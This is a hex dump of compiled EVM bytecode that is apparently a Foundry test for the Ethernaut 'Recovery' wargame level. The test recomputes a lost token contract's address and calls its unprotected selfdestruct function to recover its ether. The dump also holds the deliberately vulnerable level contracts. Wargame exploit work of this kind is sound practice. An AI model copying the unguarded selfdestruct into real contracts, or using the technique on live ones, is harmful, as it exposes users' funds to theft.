ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562001039575f80fd5b505af11580156200104c573d5f803e3d5ffd5b50505050808383815181106200106657620010666200202b565b6001600160a01b03909216602092830291909101909101525060010162000f4d565b5092915050565b6023546040517f45b560780000000000000000000000000000000000000000000000000000000081526001600160a01b03909116600482018190526024820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906345b56078906044015f604051808303815f87803b15801562001106575f80fd5b505af115801562001119573d5f803e3d5ffd5b5050602180546040517fd60000000000000000000000000000000000000000000000000000000000000060208201527f94000000000000000000000000000000000000000000000000000000000000009281019290925260601b6bffffffffffffffffffffffff191660228201527f010000000000000000000000000000000000000000000000000000000000000060368201525f9250603701905060408051808303601f190181529082905280516020909101206023547ef55d9d0000000000000000000000000000000000000000000000000000000083526001600160a01b03908116600484015290925082169062f55d9d906024015f604051808303815f87803b15801562001229575f80fd5b505af11580156200123c573d5f803e3d5ffd5b50506020546021546200126993506200126392506001600160a01b0391821691166200155a565b62001aa2565b50565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c578382905f5260205f20018054620012af90620023b8565b80601f0160208091040260200160405190810160405280929190818152602001828054620012dd90620023b8565b80156200132c5780601f1062001302576101008083540402835291602001916200132c565b820191905f5260205f20905b8154815290600101906020018083116200130e57829003601f168201915b5050505050815260200190600101906200128f565b5f80604051620013519062001b82565b604051809103905ff0801580156200136b573d5f803e3d5ffd5b5090505f6040516200137d9062001b90565b604051809103905ff08015801562001397573d5f803e3d5ffd5b508483604051620013a89062001b9e565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff080158015620013e2573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b15801562001441575f80fd5b505af115801562001454573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c575f8481526020908190206040805180820182526002860290920180546001600160a01b031683526001810180548351818702810187019094528084529394919385830193928301828280156200154157602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191681526020019060040190602082600301049283019260010382029150808411620014ed5790505b5050505050815250508152602001906001019062001483565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620015b6575f80fd5b505af1158015620015c9573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b15801562001627575f80fd5b505af11580156200163a573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af11580156200169e573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052620016c79190810190620020cc565b9050600181511115620016df576001915050620016e4565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c578382905f5260205f200180546200172d90620023b8565b80601f01602080910402602001604051908101604052809291908181526020018280546200175b90620023b8565b8015620017aa5780601f106200178057610100808354040283529160200191620017aa565b820191905f5260205f20905b8154815290600101906020018083116200178c57829003601f168201915b5050505050815260200190600101906200170d565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b15801562001816575f80fd5b505af115801562001829573d5f803e3d5ffd5b50506020546021546200185693506200185092506001600160a01b0391821691166200155a565b62001b21565b565b6008545f9060ff161562001870575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa158015620018ff573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062001925919062002410565b1415905090565b6060601580548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a09575050505050905090565b5f62001999824362002428565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b158015620007eb575f80fd5b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be89062001a5790869086906004016200243e565b5f60405180830381865afa15801562001a72573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001a9b91908101906200246f565b9392505050565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f6040518083038186803b15801562001b07575f80fd5b505afa15801562001b1a573d5f803e3d5ffd5b5050505050565b6040517fa59828850000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063a59828859060240162001af0565b610e6f80620024a683390190565b610ae5806200331583390190565b611e7a8062003dfa83390190565b610daa8062005c7483390190565b6001600160a01b038116811462001269575f80fd5b5f805f6060848603121562001bd4575f80fd5b833562001be18162001bac565b9250602084013562001bf38162001bac565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b8181101562001c465783516001600160a01b03168352928401929184019160010162001c1f565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171562001c8c5762001c8c62001c52565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171562001cbe5762001cbe62001c52565b604052919050565b5f67ffffffffffffffff82111562001ce25762001ce262001c52565b50601f01601f191660200190565b5f6020828403121562001d01575f80fd5b813567ffffffffffffffff81111562001d18575f80fd5b8201601f8101841362001d29575f80fd5b803562001d4062001d3a8262001cc6565b62001c92565b81815285602083850101111562001d55575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b8381101562001d8e57818101518382015260200162001d74565b50505f910152565b5f815180845262001daf81602086016020860162001d72565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b8481101562001e7757603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b8181101562001e6057605f1988850301835262001e4d84865162001d96565b948d01949350918c019160010162001e2e565b505050968901969350509087019060010162001de8565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b8381101562001f4557888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b8083101562001f2f5783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a019062001eeb565b5096890196945050509086019060010162001ead565b509098975050505050505050565b5f6020828403121562001f64575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b8281101562001fc457603f1988860301845262001fb185835162001d96565b9450928501929085019060010162001f92565b5092979650505050505050565b5f6020828403121562001fe2575f80fd5b813562001a9b8162001bac565b5f806040838503121562002001575f80fd5b82356200200e8162001bac565b91506020830135620020208162001bac565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f67ffffffffffffffff8211156200205b576200205b62001c52565b5060051b60200190565b5f6200207562001d3a8462001cc6565b905082815283838301111562002089575f80fd5b62001a9b83602083018462001d72565b5f82601f830112620020a9575f80fd5b62001a9b8383516020850162002065565b8051620020c78162001bac565b919050565b5f6020808385031215620020de575f80fd5b825167ffffffffffffffff80821115620020f6575f80fd5b818501915085601f8301126200210a575f80fd5b81516200211b62001d3a826200203f565b81815260059190911b830184019084810190888311156200213a575f80fd5b8585015b838110156200223b5780518581111562002156575f80fd5b86016060818c03601f190112156200216c575f80fd5b6200217662001c66565b888201518781111562002187575f80fd5b8201603f81018d1362002198575f80fd5b89810151620021ab62001d3a826200203f565b81815260059190911b8201604001908b8101908f831115620021cb575f80fd5b6040840193505b82841015620021ed5783518252928c0192908c0190620021d2565b845250505060408201518781111562002204575f80fd5b620022148d8b8386010162002099565b8a830152506200222760608301620020ba565b60408201528452509186019186016200213e565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b81810381811115620016e457620016e462002248565b5f6020828403121562002283575f80fd5b815167ffffffffffffffff8111156200229a575f80fd5b8201601f81018413620022ab575f80fd5b620022bc8482516020840162002065565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f8351620022fd81600585016020880162001d72565b7f2e736f6c2f00000000000000000000000000000000000000000000000000000060059184019182015283516200233c81600a84016020880162001d72565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f83516200238581846020880162001d72565b8351908301906200239b81836020880162001d72565b01949350505050565b602081525f62001a9b602083018462001d96565b600181811c90821680620023cd57607f821691505b602082108103620023ec57634e487b7160e01b5f52602260045260245ffd5b50919050565b5f6020828403121562002403575f80fd5b815162001a9b8162001bac565b5f6020828403121562002421575f80fd5b5051919050565b80820180821115620016e457620016e462002248565b604081525f62002452604083018562001d96565b828103602084015262002466818562001d96565b95945050505050565b5f6020828403121562002480575f80fd5b815167ffffffffffffffff81111562002497575f80fd5b620022bc848285016200209956fe608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610df58061007a5f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b14610108575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b50610070610127565b005b610085610080366004610508565b61013a565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100f86100d836600461052a565b506001600160a01b039081165f9081526001602052604090205416311590565b6040519015158152602001610099565b348015610113575f80fd5b50610070610122366004610508565b6103a2565b61012f610432565b6101385f61048b565b565b5f66038d7ea4c680003410156101975760405162461bcd60e51b815260206004820152601c60248201527f4d7573742073656e64206174206c6561737420302e303031204554480000000060448201526064015b60405180910390fd5b5f6040516101a4906104e7565b604051809103905ff0801580156101bd573d5f803e3d5ffd5b50604080517f3894e5160000000000000000000000000000000000000000000000000000000081526004810191909152600c60448201527f496e697469616c546f6b656e00000000000000000000000000000000000000006064820152620186a060248201529091506001600160a01b03821690633894e516906084015f604051808303815f87803b158015610251575f80fd5b505af1158015610263573d5f803e3d5ffd5b50506040517fd60000000000000000000000000000000000000000000000000000000000000060208201527f940000000000000000000000000000000000000000000000000000000000000060218201526bffffffffffffffffffffffff19606085901b1660228201527f0100000000000000000000000000000000000000000000000000000000000000603682015260370191506102ff9050565b60408051808303601f1901815282825280516020918201206001600160a01b038581165f9081526001909352928220805473ffffffffffffffffffffffffffffffffffffffff19169390911692831790559134908381818185875af1925050503d805f8114610389576040519150601f19603f3d011682016040523d82523d5f602084013e61038e565b606091505b505090508061039b575f80fd5b5092915050565b6103aa610432565b6001600160a01b0381166104265760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f6464726573730000000000000000000000000000000000000000000000000000606482015260840161018e565b61042f8161048b565b50565b5f546001600160a01b031633146101385760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161018e565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61085e8061056283390190565b6001600160a01b038116811461042f575f80fd5b5f60208284031215610518575f80fd5b8135610523816104f4565b9392505050565b5f806040838503121561053b575f80fd5b8235610546816104f4565b91506020830135610556816104f4565b80915050925092905056fe608060405234801561000f575f80fd5b506108418061001d5f395ff3fe608060405234801561000f575f80fd5b5060043610610029575f3560e01c80633894e5161461002d575b5f80fd5b61004061003b3660046100b6565b610042565b005b8133826040516100519061007c565b61005d93929190610165565b604051809103905ff080158015610076573d5f803e3d5ffd5b50505050565b610637806101d583390190565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f80604083850312156100c7575f80fd5b823567ffffffffffffffff808211156100de575f80fd5b818501915085601f8301126100f1575f80fd5b81358181111561010357610103610089565b604051601f8201601f19908116603f0116810190838211818310171561012b5761012b610089565b81604052828152886020848701011115610143575f80fd5b826020860160208301375f602093820184015298969091013596505050505050565b606081525f84518060608401525f5b818110156101915760208188018101516080868401015201610174565b505f608082850101526080601f19601f83011684010191505073ffffffffffffffffffffffffffffffffffffffff8416602083015282604083015294935050505056fe608060405234801561000f575f80fd5b5060405161063738038061063783398101604081905261002e91610088565b5f61003984826101e7565b506001600160a01b039091165f90815260016020526040902055506102a6565b634e487b7160e01b5f52604160045260245ffd5b80516001600160a01b0381168114610083575f80fd5b919050565b5f805f6060848603121561009a575f80fd5b83516001600160401b03808211156100b0575f80fd5b818601915086601f8301126100c3575f80fd5b8151818111156100d5576100d5610059565b604051601f8201601f19908116603f011681019083821181831017156100fd576100fd610059565b81604052828152602093508984848701011115610118575f80fd5b5f91505b82821015610139578482018401518183018501529083019061011c565b5f84848301015280975050505061015181870161006d565b93505050604084015190509250925092565b600181811c9082168061017757607f821691505b60208210810361019557634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156101e257805f5260205f20601f840160051c810160208510156101c05750805b601f840160051c820191505b818110156101df575f81556001016101cc565b50505b505050565b81516001600160401b0381111561020057610200610059565b6102148161020e8454610163565b8461019b565b602080601f831160018114610247575f84156102305750858301515b5f19600386901b1c1916600185901b17855561029e565b5f85815260208120601f198616915b8281101561027557888601518255948401946001909101908401610256565b508582101561029257878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b610384806102b35f395ff3fe608060405260043610610040575f3560e01c8062f55d9d1461006757806306fdde031461008857806327e235e3146100b2578063a9059cbb146100eb575f80fd5b366100635761005034600a61022a565b335f908152600160205260409020819055005b5f80fd5b348015610072575f80fd5b5061008661008136600461026b565b61010a565b005b348015610093575f80fd5b5061009c610123565b6040516100a9919061028d565b60405180910390f35b3480156100bd575f80fd5b506100dd6100cc36600461026b565b60016020525f908152604090205481565b6040519081526020016100a9565b3480156100f6575f80fd5b506100866101053660046102d9565b6101ae565b8073ffffffffffffffffffffffffffffffffffffffff16ff5b5f805461012f90610303565b80601f016020809104026020016040519081016040528092919081815260200182805461015b90610303565b80156101a65780601f1061017d576101008083540402835291602001916101a6565b820191905f5260205f20905b81548152906001019060200180831161018957829003601f168201915b505050505081565b335f908152600160205260409020548111156101c8575f80fd5b335f908152600160205260409020546101e290829061033b565b335f908152600160205260408082209290925573ffffffffffffffffffffffffffffffffffffffff93909316835290912055565b634e487b7160e01b5f52601160045260245ffd5b808202811582820484141761024157610241610216565b92915050565b73ffffffffffffffffffffffffffffffffffffffff81168114610268575f80fd5b50565b5f6020828403121561027b575f80fd5b813561028681610247565b9392505050565b5f602080835283518060208501525f5b818110156102b95785810183015185820160400152820161029d565b505f604082860101526040601f19601f8301168501019250505092915050565b5f80604083850312156102ea575f80fd5b82356102f581610247565b946020939093013593505050565b600181811c9082168061031757607f821691505b60208210810361033557634e487b7160e01b5f52602260045260245ffd5b50919050565b818103818111156102415761024161021656fea2646970667358221220e0bf938b4119a269e2f8df98188146ebd3abe7e9481be62f329c5c511f9c757d64736f6c63430008180033a264697066735822122047a2933d7f1f0a4703ae01a34a9f549f16b14b7790054fb759e7eb24c6473b6b64736f6c63430008180033a2646970667358221220529712e22382a69add02b955e907c7303f363c3bf3d853085240c3f505fd6d4e64736f6c63430008180033608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea2646970667358221220f875e80df3dbb1bbf8a1ba93e5adadf18e3885d13abc24020d489fb4c369f37264736f6c63430008180033608060405234801561000f575f80fd5b50611e5d8061001d5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80fd5b8063d0f191e014610391578063d844f6a4146103a4578063e041ae9b146103b7575f80fd5b8063ba5d8082116100ce578063ba5d80821461031d578063bc3086a214610358578063c4d66de81461036b578063cd819a6f1461037e575f80fd5b80639cbf280d146102c7578063a7e1acdf146102da578063b2596a671461030a575f80fd5b80637cbe8d041161015e5780637e4326d3116101395780637e4326d3146102865780638b146ad6146102995780638dc03535146102ac578063900f09ac146102bf575f80fd5b80637cbe8d041461026e5780637ceb9533146102765780637e0ca04f1461027e575f80fd5b80633aa46685116101995780633aa466851461020d5780633d9aeaef14610235578063763fdb45146102485780637a9b6dda1461025b575f80fd5b806322ae77ec146101bf5780632c038c32146101e557806336204198146101fa575b5f80fd5b6101d26101cd366004611cab565b610423565b6040519081526020015b60405180910390f35b6101f86101f3366004611cdc565b61054f565b005b6101d2610208366004611d1c565b6109b1565b6101d261021b366004611d1c565b6001600160a01b03165f9081526010602052604090205490565b6101d2610243366004611d1c565b610a2d565b6101d2610256366004611d1c565b610aab565b6101d2610269366004611d1c565b610b27565b6003546101d2565b6005546101d2565b6002546101d2565b6101f8610294366004611cdc565b610ba3565b6101d26102a7366004611d1c565b610f29565b6101d26102ba366004611cab565b610fa5565b6004546101d2565b6101d26102d5366004611d1c565b611125565b5f546102f2906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016101dc565b6102f2610318366004611d35565b6111a0565b61034861032b366004611d1c565b6001600160a01b03165f908152600e602052604090205460ff1690565b60405190151581526020016101dc565b6101d2610366366004611d1c565b6111c8565b6101f8610379366004611d1c565b611257565b6101f861038c366004611d1c565b6113a1565b6101f861039f366004611cdc565b6114f0565b6101d26103b2366004611d4c565b61183e565b6101d26103c5366004611d1c565b6119c6565b6103486103d8366004611cab565b611a44565b6103486103eb366004611d1c565b6001600160a01b03165f908152600f602052604090205460ff1690565b6102f2610416366004611d35565b611b3f565b6001546101d2565b6001600160a01b0381165f908152600e6020526040812054829060ff166104885760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b60448201526064015b60405180910390fd5b836104aa816001600160a01b03165f908152600f602052604090205460ff1690565b6104ec5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038481165f908152600d6020908152604080832089851684529091529020541661051d575f610546565b6001600160a01b038085165f908152600d60209081526040808320938916835292905220600301545b95945050505050565b5f546201000090046001600160a01b031633146105bc5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b816105de816001600160a01b03165f908152600f602052604090205460ff1690565b6106205760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b81610642816001600160a01b03165f908152600e602052604090205460ff1690565b6106855760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166107065760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146107905760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff161561080c5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600c6020908152604080832093881683529290529081205490036108df576001600160a01b0383165f90815260066020526040812080549161085c83611d99565b90915550506001600160a01b038084165f818152600c602090815260408083209489168352938152838220429055918152600690915290812054906108a2858784611b4e565b90508181866001600160a01b03167f18f89fb58208351d054bc0794e723a333ae0a74acd73825a9f31d89af0c6755160405160405180910390a450505b6001600160a01b038084165f908152600d6020908152604080832093881680845293825280832060038101805460018181018355918652848620429101819055600283015594845280547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b179055600a909152812090910180549161096983611d99565b909155505060048054905f61097d83611d99565b90915550506001600160a01b0383165f9081526008602052604081208054916109a583611d99565b91905055505050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610a115760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526006602052604090205490565b6001600160a01b0381165f908152600f6020526040812054829060ff16610a8c5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206001015490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b0b5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526008602052604090205490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b875760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526009602052604090205490565b5f546201000090046001600160a01b03163314610c105760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b81610c32816001600160a01b03165f908152600f602052604090205460ff1690565b610c745760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b0382165f908152600e602052604090205460ff16610d00576001805480820182557fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf601805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0385169081179091555f908152600e60205260409020805460ff191690911790555b6001600160a01b038281165f908152600d60209081526040808320878516845290915290205416610d53576001600160a01b038083165f908152600b602090815260408083209387168352929052204290555b6040805160a0810182526001600160a01b0380871682525f60208084018290524284860152606084018290528683168252600d815284822092881682529190915291822060030154909160808301919003610dbb57604080515f815260208101909152610e2b565b6001600160a01b038085165f908152600d6020908152604080832093891683529281529082902060030180548351818402810184019094528084529091830182828015610e2557602002820191905f5260205f20905b815481526020019060010190808311610e11575b50505050505b90526001600160a01b038084165f908152600d60209081526040808320888516845282529182902084518154868401511515600160a01b027fffffffffffffffffffffff00000000000000000000000000000000000000000090911691909516179390931783559083015160018301556060830151600283015560808301518051610ebc9260038501920190611c33565b5050506001600160a01b0383165f908152600a60205260408120805491610ee283611d99565b909155505060038054905f610ef683611d99565b90915550506001600160a01b0382165f908152600760205260408120805491610f1e83611d99565b919050555050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610f895760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526007602052604090205490565b6001600160a01b0382165f908152600e6020526040812054839060ff166110055760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611027816001600160a01b03165f908152600f602052604090205460ff1690565b6110695760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038086165f908152600c6020908152604080832093881683529290529081205490036110de5760405162461bcd60e51b815260206004820152601360248201527f4c6576656c206e6f7420636f6d706c6574656400000000000000000000000000604482015260640161047f565b6001600160a01b038086165f818152600b6020908152604080832094891680845294825280832054938352600c825280832094835293905291909120546105469190611db1565b6001600160a01b0381165f908152600f6020526040812054829060ff166111845760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090205490565b600281815481106111af575f80fd5b5f918252602090912001546001600160a01b0316905081565b6001600160a01b0381165f908152600e6020526040812054829060ff166112285760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b600254611234846109b1565b61124690670de0b6b3a7640000611dca565b6112509190611de1565b9392505050565b5f54610100900460ff161580801561127557505f54600160ff909116105b8061128e5750303b15801561128e57505f5460ff166001145b6113005760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a6564000000000000000000000000000000000000606482015260840161047f565b5f805460ff191660011790558015611321575f805461ff0019166101001790555b5f80547fffffffffffffffffffff0000000000000000000000000000000000000000ffff16620100006001600160a01b03851602179055801561139d575f